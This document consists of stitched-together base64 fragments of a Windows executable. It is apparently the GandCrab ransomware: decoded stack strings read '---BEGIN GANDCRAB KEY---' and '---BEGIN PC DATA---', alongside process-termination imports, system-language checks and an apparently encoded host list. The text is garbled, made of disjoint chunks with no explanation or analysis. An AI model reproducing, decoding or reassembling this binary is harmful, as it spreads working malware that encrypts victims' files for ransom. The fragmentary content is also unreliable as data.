cDTXVsdGlCeXRlVG9XaWRlQ2hhcgDxBFZpcnR1YWxRdWVyeQAAPgNMb2FkTGlicmFyeUV4VwAAwAFHZXRDdXJyZW50UHJvY2VzcwAYAkdldE1vZHVsZUhhbmRsZVcAAHACR2V0U3lzdGVtRGlyZWN0b3J5VwA/A0xvYWRMaWJyYXJ5VwAAAgJHZXRMYXN0RXJyb3IAAEUCR2V0UHJvY0FkZHJlc3MAAD8FbHN0cmNhdFcAAEgFbHN0cmNweVcAABkBRXhpdFByb2Nlc3MAngBDcmVhdGVNdXRleFcAAG4CR2V0U3lzdGVtRGVmYXVsdFVJTGFuZ3VhZ2UAAFgEU2V0RXJyb3JNb2RlAAD5BFdhaXRGb3JTaW5nbGVPYmplY3QAjwFHZXRDb21wdXRlck5hbWVXAABKAkdldFByb2Nlc3NIZWFwAACGAUdldENvbW1hbmRMaW5lQQDSAUdldERyaXZlVHlwZUEA4gJJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uAIADT3BlblByb2Nlc3MAwARUZXJtaW5hdGVQcm9jZXNzAAAUAkdldE1vZHVsZUZpbGVOYW1lVwAAGgFFeGl0VGhyZWFkAADzBFZpcnR1YWxVbmxvY2sAfQNPcGVuTXV0ZXhXAABzAkdldFN5c3RlbUl','iIBkaJXegzwIDBMIv4iA6IRgGAfeAAdAeLTdyDYXD9i8dfXluL5V3DVYvsagD/dRj/dRT/dRD/dQz/dQjoVgEAAIPEGF3DVYvsg+wQjU3wU1f/dSDoW53//4tdCIXbdAaDfQwAdwno9bb//2oW6xyLVRAz/4vChdJ/AovHg8AJOUUMdxTo17b//2oiX4k46CG////p3wAAAIB9HAB0IItNGDPAhdIPn8BQM8CDOS0PlMADw1Do4gUAAItVEFlZi0UYVovzgzgtdQbGAy2NcwGF0n4VikYBiAZGi0Xwi4CEAAAAiwCKAIgGM8A4RRwPlMADwgPwg8j/OUUMdAeLwyvGA0UMaAxrARBQVugFCwAAg8QMhcB1do1OAjl9FHQDxgZFi1UYi0IMgDgwdC2LUgRKeQb32sZGAS1qZFs703wIi8KZ9/sARgJqCls703wIi8KZ9/sARgMAVgT2BSQSAhABXnQUgDkwdQ9qA41BAVBR6PUKAACDxAyAffwAdAeLTfiDYXD9i8dfW4vlXcNXV1dXV+guvv//zFWL7IPsLKFQqgEQM8WJRfyLRQiNTeRTi10UVleLfQxqFl5WUY1N1FH/cAT/MOifEwAAg8QUhf91EOiLtf//iTDo2L3//4vG63SLdRCF9nUK6HS1//9qFl7r5IPJ/zvxdBYzwIvOg33ULQ+UwCvIM8CF2w+fwCvIjUXUUI1DAVBRM8mDfdQtD5TBM8CF2w+fwAPPA8FQ6L8RAACDxBCFwHQFxgcA6xf/dRyNRdRqAFD/dRhTVlfo9f3//4PEHItN/F9eM81b6PO4//+L5V3DVYvsg+wUi0UUjU3sU1b/dRyLQARIiUX86DKb//+LdQiF9nQGg30MAHcU6My0//9qFluJGOgWvf//6ZkAAAAz21eLfRA4XRh0GotN/DvPdROLVRQzwIM6LQ+UwAPBZscEMDAAi0UUgzgtdQTGBi1Gi0AEhcB/EGoBVui4AwAAWcYGMEZZ6wID8IX/','GBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgY29TU1NTU1NTU1NTU1NTU1E2T9Jv0PEtOT3AYKBgIchlyGHAYKBgI5w0wOBgISHBYOBgI8NDn5+eb3AxwOFYYGHAYKBgI5w0MOBgIndhtF+cNNDgYCCvYR0ZDk/1F23IYchhyG3IYchhwGBgY2HAYKBgI5w08OBgIk+Cb5+dsyOcNIDgYCHIYkV3wlV3oSHIUlV343134gbGyskhP31389ea1xt9d6BgYGBjnDQA4GAid2G0O5w00OBgIT+cNLDgYCCvYR0ZDk/1F2yvDF0/YphQYGBiRReR+Fwtd+JFF8IhyGJVd5EhOlRxDlVyd+EhP5w04OBgIndhtFecNNDgYCCXyGBgYbRAbReQzbeRtyZll+IGxsrJtupll/PXmtcZtgedt8HIYcgjnDQQ4GAib4Odsn5MtLDgYCEjnznIYlV3k313kGBgYGEhyHJVd4N9d4BgYGBhIT+cNODgYCJMFNDgYCJ3YbRHnyyXyGBgYbR+TXeCd2G0W58tP584r2EdGQ5P9RdtyHHAYKBgYm9gaSHIY5w0oOBgIkV30u+QpGAid2GzLk23gK9GRVeyVfDwYchiVTeQb2UpOSE/nDTg4GAid2G0R58sl8hgYGG0Jk1XsG1','FDoaYkAAIPEDGgAAQAAjUX4UItFDIPABFC6FAEAAIsNiBICEOhaMQAAg8QMhcB1BINl/ABoAAEAAI1F9FCLRQwFBAEAAFC6FAEAAIsNiBICEOgtMQAAg8QMhcB1BINl/ABqIFqNTczo9FEAAGoIWo1N7OjpUQAAi0X8i+Vdw1WL7IHs+AAAAOgAAAAAPoMEJBF1BXQD6SgUWP/gAOmDZeAAgz2MEgIQAA+FLAUAAItFCIsABQQCAACJhSj///9qLVhmiYUs////ai1YZomFLv///2otWGaJhTD///9qQlhmiYUy////akVYZomFNP///2pHWGaJhTb///9qSVhmiYU4////ak5YZomFOv///2ogWGaJhTz///9qR1hmiYU+////akFYZomFQP///2pOWGaJhUL///9qRFhmiYVE////akNYZomFRv///2pSWGaJhUj///9qQVhmiYVK////akJYZomFTP///2ogWGaJhU7///9qS1hmiYVQ////akVYZomFUv///2pZWGaJhVT///9qLVhmiYVW////ai1YZomFWP///2otWGaJhVr///8zwGaJhVz///9qLVhmiYVg////ai1YZomFYv///2otWGaJhWT///9qRVhmiYVm////ak5YZomFaP///2pEWGaJhWr///9qIFhmiYVs////akdYZomFbv///2pBWGaJhXD///9qTlhmiYVy////akRYZomFdP///2pDWGaJhXb///9qUlhmiYV4////akFYZomFev///2pCWGaJhXz///9qIFhmiYV+////aktYZolFgGpFWGaJRYJqWVhmiUWEai1YZolFhmotWGaJRYhqLVhmiUWKM8BmiUWMi5Uo////i00I6KrN//+JReyLFYASAhCLDVwSAhDols3//4lF9IN97AAPhCQDAACDffQAD4QSAwAAi0XsiUXwi0XwQImFIP///4tF8IoAiEX9/0XwgH39AHXvi0XwK4Ug////iYUI////i0X0iUXki0XkQImFGP///4tF5IoAiEX//0XkgH3/AHXvi0XkK4UY////iYUQ////i4UQ////0eCLjQj///+NjEgAAQAA6DlPAACjjBICEIM9jBICEAAPhH4CAACNhSz///9Q/zWMEgIQ/xWYMQEQaAhzARD/NYwSAhD/FZwxARD/NYwSAhD/FcwxARCLDYwSAhCNBEGJRdyLReyJReiLRehAiYUU////i0XoigCIRf7/ReiAff4Ade+LRegrhRT///+JhRz///+LhRz///9AUP913Gr//3XsagBqAP8VwDEBEIlF4GgIcwEQ/zWMEgIQ/xWcMQEQjYVg////UP81jBICEP8VnDEBEGotWGaJRZBqLVhmiUWSai1YZolFlGpCWGaJRZZqRVhmiUWYakdYZolFmmpJWGaJRZxqTlhmiUWeaiBYZolFoGpQWGaJRaJqQ1hmiUWkaiBYZolFpmpEWGaJRahqQVhmiUWqalRYZolFrGpBWGaJRa5qLVhmiUWwai1YZolFsmotWGaJRbQzwGaJRbZqLVhmiUW4ai1YZolFumotWGaJRbxqRVhmiUW+ak5YZolFwGpEWGaJRcJqIFhmiUXEalBYZolFxmpDWGaJRchqIFhmiUXKakRYZolFzGpBWGaJRc5qVFhmiUXQakFYZolF0motWGaJRdRqLVhmiUXWai1YZolF2DPAZ','NRfhQ/7cQAgAA/3XwU/8V2DEBEIXAD4SlAAAAi034hckPhJoAAAA7jxACAACLRfxqAVoPQsI5dQyLVfAPRUUMAY8AAgAAjY1o////iUX8Ebc','XUC0XYdHCLTdzoFnMAAIlF7IN97AB1Autdg6UE////AI2FBP///5lSUP914P913ItF7JlSUGoAagtqBP+1cP////+1bP///+g9FgAAg8QsiYX4/v//6x+LTezo1nIAAItF3ANF3ItN4BNN4IlF3IlN4DPAQHWQg33sAHUJM8Az0umCBAAAuCgBAABrwACLTeyLVAEYiVXMi0QBHIlF0GgAgAAAagD/dez/FcQxARCLRcwLRdB1CTPAM9LpSAQAAIOlUP///wDGRfMAam5YZomFNP///2p0WGaJhTb///9qb1hmiYU4////anNYZomFOv///2prWGaJhTz///9qclhmiYU+////am5YZomFQP///2psWGaJhUL///9qLlhmiYVE////amVYZomFRv///2p4WGaJhUj///9qZVhmiYVK////M8BmiYVM////M8BmiYVO////jYVQ////UOhX+f//WYlF6GYPV8BmDxOFfP///4NlhACDfegAdQkzwDPS6YQDAABmD1fAZg8TRfSLRdQLRdgPhBADAADGRcBMxkXBZMZFwnLGRcNMxkXEb8ZFxWHGRcZkxkXHRMZFyGzGRclsxkXKAP912P911I1NwOjAFgAAiUWIiVWMi0WIC0WMD4TEAgAAi0XomYmFXP///4mVYP////916P8VzDEBENHgZomFVP///w+3hVT///9AQGaJhVb///+DpWT///8AjY1k////6DkSAABqAGoA/xWsMQEQiUXkg2X8AIN95AAPhgMBAAD/dej/FcwxARCL8I2FNP///1D/FcwxARADdeQDxo1MAATou3AAAIlF/IN9/AAPhNAAAAD/deT/dfz/FawxARCJReSDfeQAD4avAAAA/3X8/xXMMQEQi038D7dEQf6D+Fx0E/91/P8VzDEBEGpcWYtV/GaJDEL/dfz/FcwxARCJhRD/////dej/dfz/FZwxARCNRYRQjYV8////UDPSi0386EYOAABZWYlF9IlV+ItF9AtF+HU8M8CLjRD///+LVfxmiQRKjYU0////UP91/P8VnDEBEI1FhFCNhXz///9QM9KLTfzoAg4AAFlZiUX0iVX4i0386PlvAADrCItN/OjvbwAAi0X0C0X4D4W/AAAAx4UU////AQAAAIOl','RfyDZfQAg338AHU4i0UYiUXwjUXwUP91FGoAagD/dRD/dfj/FUAwARCJRfyDffwAdQfHRfQBAAAA/3X4/xU4MAEQ6wWLRfTrA4tF9IvlXcNVi+xRUegAAAAAPoMEJBF1BXQD6SgUWP/gAOlqBGgAMAAAaAAEAABqAP8VZDEBEIlF/GoEaAAwAABoAAQAAGoA/xVkMQEQiUX4g338AHRDaAACAAD/dfxqAP8VYDEBEIN9+AB0Lf91/GgodQEQ/3X4/xVwMgEQg8QMagBqAP91+GhsdQEQaHx1ARBqAP8VUDIBEGoA/xWUMQEQi+Vdw1WL7IPsVOgAAAAAPoMEJBF1BXQD6SgUWP/gAOnHRawZBAAAx0WwIgQAAMdFtCMEAADHRbgoBAAAx0W8KwQAAMdFwCwEAADHRcQ3BAAAx0XIPwQAAMdFzEAEAADHRdBCBAAAx0XUQwQAAMdF2EQEAADHRdwYCAAAx0XgGQgAAMdF5CwIAADHRehDCAAAx0XsWgQAAMdF8AEoAAD/FaQwARAPt8CJR','T////xFQAQg6Uc////AI2F8P7//1BqBP914P8VhDABEI2FHP///1BqBP91/P8VjDABEI2FNP///1BqBP91/P8VhDABEMZFyE7GRcl0xkXKUcZFy3XGRcxlxkXNcsZFznnGRc9JxkXQbsZF0XTGRdJlxkXTcsZF1HbGRdVhxkXWbMZF11DGRdhyxkXZb8ZF2mbGRdtpxkXcbMZF3WXGRd4AjUXIUP915P8VoDEBEKP4EgIQgz34EgIQAA+F0AAAAMaFXP///1rGhV3///93xoVe////UcaFX////3XGhWD///9lxoVh////csaFYv///3nGhWP///9JxoVk////bsaFZf///3TGhWb///9lxoVn////csaFaP///3bGhWn///9hxoVq////bMaFa////1DGhWz///9yxoVt////b8aFbv///2bGhW////9pxoVw////bMaFcf///2XGhXL///8AjUXIUP915P8VoDEBEKP4EgIQgz34EgIQAHUUaACAAABqAP91+P8VxDEBEDPA6zeNhfj+//9QaDcTAAD/FfgSAhCNhRz///9QagT/dfz/FYQwARBoAIAAAGoA/3X4/xXEMQEQM8BAX15bi+Vdw1WL7IPk+IPsHFNWV2puWGp0ZolEJBSL2VhqZFlqbFpmiUQkEmouWGaJRCQaM8BmiUwkFGaJTCQcjUwkEGaJVCQWZolUJBhmiVQkHmaJVCQgiUQkIugnBwAAiw24EgIQi/ALDbwSAhCL+nUXV1a5sHIBEOjkBwAAo7gSAhCJFbwSAh','ZF8AF0AUeLXfSLxovLweAfweEf0evR6gvYC9HR7v9NqIld9IlV8HXXagCF/4l1+It9tFsPhE3///8zwGaLykBmC8hmiU3wi1Xw6Tz///9mQGaJRfrrBECJRfaLdfjrBECJRfK4/38AAGY7','VmBWoFaAU+BXIFcgVyBSsF','HQAbwAgAHUAcwBlACAATQBTAEkATAAgAGMAbwBkAGUAIABmAHIAbwBtACAAdABoAGkAcwAgAGEAcwBzAGUAbQBiAGwAeQAgAGQAdQByAGkAbgBnACAAbgBhAHQAaQB2AGUAIABjAG8AZABlACAAaQBuAGkAdABpAGEAbABpAHoAYQB0AGkAbwBuAAoAVABoAGkAcwAgAGkAbgBkAGkAYwBhAHQAZQBzACAAYQAgAGIAdQBnACAAaQBuACAAeQBvAHUAcgAgAGEAcABwAGwAaQBjAGEAdABpAG8AbgAuACAASQB0ACAAaQBzACAAbQBvAHMAdAAgAGwAaQBrAGUAbAB5ACAAdABoAGUAIAByAGUAcwB1AGwAdAAgAG8AZgAgAGMAYQBsAGwAaQBuAGcAIABhAG4AIABNAFMASQBMAC0AYwBvAG0AcABpAGwAZQBkACAAKAAvAGMAbAByACkAIABmAHUAbgBjAHQAaQBvAG4AIABmAHIAbwBtACAAYQAgAG4AYQB0AGkAdgBlACAAYwBvAG4AcwB0AHIAdQBjAHQAbwByACAAbwByACAAZgByAG8AbQAgAEQAbABsAE0AYQBpAG4ALgANAAoAAAAAAFIANgAwADMANAANAAoALQAgAGkAbgBjAG8AbgBzAGkAcwB0AGUAbgB0A','UlBSsFfQV8BXUFJQUrBX0FfAVyBSUFKwV/BWQFZwVyBSUFKwV/BXcFcQVjBSUFKwV/BXIFJQUFBQUAAAAAAPr7JQUrBWQFawVsBSUFKwVmBWQFZwUlBSsFZgV1BWkFJQUrBWYFcAV3BSUFKwVhBWwFZAViBWYFZAVnBSUFKwVhBWwFZAViBXUFbgViBSUFKwVhBWkFaQUlBSsFYQV3BXMFJQUrBWkFagVmBW4FJQUrBW0FaQV1BSUFKwVpBWEFYwUlBSsFbAVmBWkFJQUrBWwF','FYAVrBX8FZAUrBWYFagVoBT4FcgVyBXIFKwV2BWAFbAVxBWAFawV2BXUFdwVwBWsFYgV/BWwFaAVoBWAFdwU3BTEFKwVmBWoFaAU+BXIFcgVyBSsFZAV3BWcFYAV/BWwFYAUoBW0FagVxBWAFaQUrBWYFagVoBT4FcgVyBXIFKwVkBXAFZwVgBXcFYgVgBWgFagVrBXEFZwVpBWQFawVmBSsFZgVqBWgFPgVyBXIFcgUrBXEFagV3BW0FagVxBWAFaQUrBWYFagVoBT4FcgVyBXIFKwVkBWkFdQVgBWsFaQVqBWEFYgVgBSsFZgVqBWgFPgVyBXIFcgUrBWQFdQVkBXcFcQVtBWoFcQVgBWkFfwVwBXcFbAVmBW0FKwVmBWoFaAU+BXIFcgVyBSsFZwVrBWcFYQVgBWkFZAVmBWoFaQVpBWwFawVgBSsFZgVqBWgFPgVyBXIFcgUrBWAFaQVsBXEFYAUoBW0FagVxBWAFaQUrBWYFagVoBT4FcgVyBXIFKwVnBXcFbAV2BXEFagVpBSgFZAVhBWAFaQVnBWoFYQVgBWsFKwVmBWoFaAU+BXIFcgVyBSsFawVkBXEFbAVqBWsFZAVpBX8FYAV3BWgFZAVxBXEFKwVmBWoFaAU+BXIFcgVyBSsFcgVkBWQFYgVgBWIFaQVkBXcFcAV2BSsFZgVqBWgFPgVyBXIFcgUrBWkFbAVoBWgFZAVxBW0FagVjBSsFZgVqBWgFPgVyBXIFcgUrBWQFdQVkBXcFcQVoBWAFawVxBW0FZAVwBXYFKwVmBWoFaAU+','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ADHRfQIAAAA/3X4jUXMUItFDIPABFDogYkAAIPEDP919I1F7FCLRQwFBAEAA','AcgByAG8AcgANAAoAAAAAAAAAAABSADYAMAAxADgADQAKAC0AIAB1AG4AZQB4AHAAZQBjAHQAZQBkACAAaABlAGEAcAAgAGUAcgByAG8AcgANAAoAAAAAAAAAAABSADYAMAAxADkADQAKAC0AIAB1AG4AYQBiAGwAZQAgAHQAbwAgAG8AcABlAG4AIABjAG8AbgBzAG8AbABlACAAZABlAHYAaQBjAGUADQAKAAAAAAAAAAAAUgA2ADAAMgA0AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAXwBvAG4AZQB4AGkAdAAvAGEAdABlAHgAaQB0ACAAdABhAGIAbABlAA0ACgAAAAAAAAAAAFIANgAwADIANQANAAoALQAgAHAAdQByAGUAIAB2AGkAcgB0AHUAYQBsACAAZgB1AG4AYwB0AGkAbwBuACAAYwBhAGwAbAANAAoAAAAAAAAAUgA2ADAAMgA2AA0ACgAtACAAbgBvAHQAIABlAG4AbwB1AGcAaAAgAHMAcABhAGMAZQAgAGYAbwByACAAcwB0AGQAaQBvACAAaQBuAGkAdABpAGEAbABpAHoAYQB0AGkAbwBuAA0ACgAAAAAAAAAAAFIANgAwADIANwANAAoALQAgAG4AbwB0ACAAZQBuAG8AdQBnAGgAIABzAHAAYQBjAGUAIABmAG8AcgAgAGwAbwB3AGkAbwAgAGkAbgBpAHQAaQBhAGwAaQB6AGEAdABpAG8AbgANAAoAAAAAAAAAAABSADYAMAAyADgADQAKAC0AIAB1AG4AYQBiAGwAZQAgAHQAbwAgAGkAbgBpAHQAaQBhAGwAaQB6AGUAIABoAGUAYQBwAA0ACgAAAAAAUgA2ADAAMwAwAA0ACgAtACAAQwBSAFQAIABuAG8AdAAgAGkAbgBpAHQAaQBhAGwAaQB6AGUAZAANAAoAAAAAAAAAAABSADYAMAAzADEADQAKAC0AIABBAHQAdABlAG0AcAB0ACAAdABvACAAaQBuAGkAdABpAGEAbABpAHoAZQAgAHQAaABlACAAQwBSAFQAIABtAG8AcgBlACAAdABoAGEAbgAgAG8AbgBjAGUALgAKAFQAaABpAHMAIABpAG4AZABpAGMAYQB0AGUAcwAgAGEAIABiAHUAZwAgAGkAbgAgAHkAbwB1AHIAIABhAHAAcABsAGkAYwBhAHQAaQBvAG4ALgANAAoAAAAAAFIANgAwADMAMgANAAoALQAgAG4AbwB0ACAAZQBuAG8AdQBnAGgAIABzAHAAYQBjAGUAIABmAG8AcgAgAGwAbwBjAGEAbABlACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAA0ACgA','ugAAAAAPoMEJBF1BXQD6SgUWP/gAOmDZfgAi0UIgyAAahBajU3o6NT7///oKBgAAIXAdAqNTejoDBoAAOsVjXXoM8BAM8kPookGiV4EiU4IiVYMagRYa8ADi0QF6IPgQHQHx0X4AQAAAGoqWej0dwAAiUX8g338AHUHM8DpmwAAAOic/f//g/gBdkjoyBcAAIXAdBBoQHIBEP91/P8VmDEBEOstg334AHQZi0UIxwAAkAAAaFxyARD/dfz/FZgxARDrDmhAcgEQ/3X8/xWYMQEQ60bogBcAAIXAdBBoeHIBEP91/P8VmDEBEOstg334AHQZi0UIxwAAk','kgEAnJIBALKSAQDCkgEAfJABANaSAQDskgEAApMBABKTAQAikwEAMJMBAESTAQBQkwEAX